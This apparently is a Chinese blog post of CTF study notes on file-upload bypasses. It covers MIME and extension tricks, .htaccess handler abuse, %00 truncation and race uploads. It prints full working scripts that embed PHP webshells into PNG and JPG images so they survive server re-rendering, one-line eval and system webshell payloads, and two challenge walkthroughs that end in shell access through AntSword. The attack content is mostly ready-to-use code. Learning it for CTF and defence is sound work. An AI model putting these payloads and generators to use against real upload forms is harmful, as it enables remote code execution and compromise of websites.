图片马

发布于 2022-11-09  326 次阅读


  • 有的时候,网站会对上传文件改名和改上传路径,可以通过抓包软件查看返回数据

前端验证漏洞

  • jsc的前端验证,可以抓包改后缀放包
  • $_FILES['upload_file'] [ 'type']命令向浏览器询问上传文件的后缀, bp抓包修改contant-type(不确定格式可以通过上传真图片后查看浏览器的报文)为image/png

黑名单验证漏洞

  • 最简单的方法就是试多种类型的文件,phtml,php3,php4,php5,pht(前提是apache配置允许解析)
  • 如果没过滤.htaccess,可以写入sethandler application/x-httpd-php,将所有文件解析成php,随便上传个图片🐎就可以辣

后缀处理漏洞

许多黑名单验证虽然设置了黑名单,但是跟没有设置一样,所以后缀处理漏洞单独从黑名单中分出

  • 末尾加.绕过
  • 大小写绕过
  • 末尾加::$DATA绕过
  • 双写绕过
  • 末尾加空格

白名单漏洞

黑名单处理较严或者直接设置白名单,上面的绕过就不行辣

  • %00截断,分为get和post,get在上传路径处将文件名截断,post不能直接截,要修改hex值为00
  • 上传图片马配合文件包含漏洞
  • 二次渲染图片马配合文件包含漏洞
  • 连续大量上传文件,使服务器来不及删除

关于图片马

之前做图片马的题没完全弄懂,现在重来一遍

  • 图片马的制作:可以用copy指令copy 6.jpg /b + 1.php /a 2.png,也可以用16进制工具在图片末尾加php代码
然而16题出了一些小问题
无论是二进制工具插入代码(webshell.jpg),还是copy指令(test.png),包含后都会报错,并且无法执行php代码
  • 二次渲染图片马的制作:渲染函数对原图片渲染后,有些内容是不会变的,将php代码插入到不变的部分即可
gif图片马较为好做
上传一个gif文件,从上传路径下载下来,用010editor查看两次文件没有发生变化的地方,插入php即可
然而17题并没有2次渲染(上传前后16进制内容一样),也不能执行被包含的php代码???
使用IDAT_png.php脚本生成1.png的图片马:
命令:
php IDAT_png.php 26.png(注意,要添加php的环境变量)

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
  • 图片马里面的代码为:
<?$_GET[0]($_POST[1]);?>
  • 通过下面的方式执行命令(这里结合文件包含): get传参0=system或者: post传参1=whoami
  • jPG绕过:创建一个jpg_payload.php脚本(用于生成绕过二次渲染的图片马): 注:由于jpg图片易损,对图片的选取有很大关系,很容易制作失败,需要多选取几张图片进行生成。
<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
  • 使用上面创建的脚本生成一个图片马: 命令:

    php jpg_payload.php a.jpg
  • 因为uploadlabs环境问题,就没法测试了

两道例题

[GXYCTF2019]BabyUpload

  • 先看源代码,发现如果针对带ph的后缀文件过滤的比较严,而且没有文件上传漏洞,所以白名单漏洞和后缀处理漏洞都用不了,考虑使用黑名单验证漏洞,因为ph被过滤,考虑上传.htaccess文件,查看代码,发现针对非ph文件,通过mine过滤
$_FILES["uploaded"]["type"] == "image/jpeg"
  • 上传.htaccess文件,并且抓包改mine,上传成功
  • 上传webshell,改后缀为图片,上传,结果失败了,看源码
$content = file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i", $content)){
                die("诶,别蒙我啊,这标志明显还是php啊");
            }
读取了文件内容,不能有<?这种符号,可以利用phtml语言
GIF89a 
<script language='php'>@eval($_POST['a'])</script>
  • 最后蚁剑连接的时候小心这里有个小坑:不知道网站根目录是返回路径的那一层,需要一层一层地测试连接,即可成功连接

funny_upload

  • 先查看页面源代码,发现前端验证,一番测试,成功上传了.htaccess文件
  • 上传图片的时候显示让改文件内容,那就用phtml语言吧,成功上传,蚁剑连接即可
届ける言葉を今は育ててる
最后更新于 2024-02-07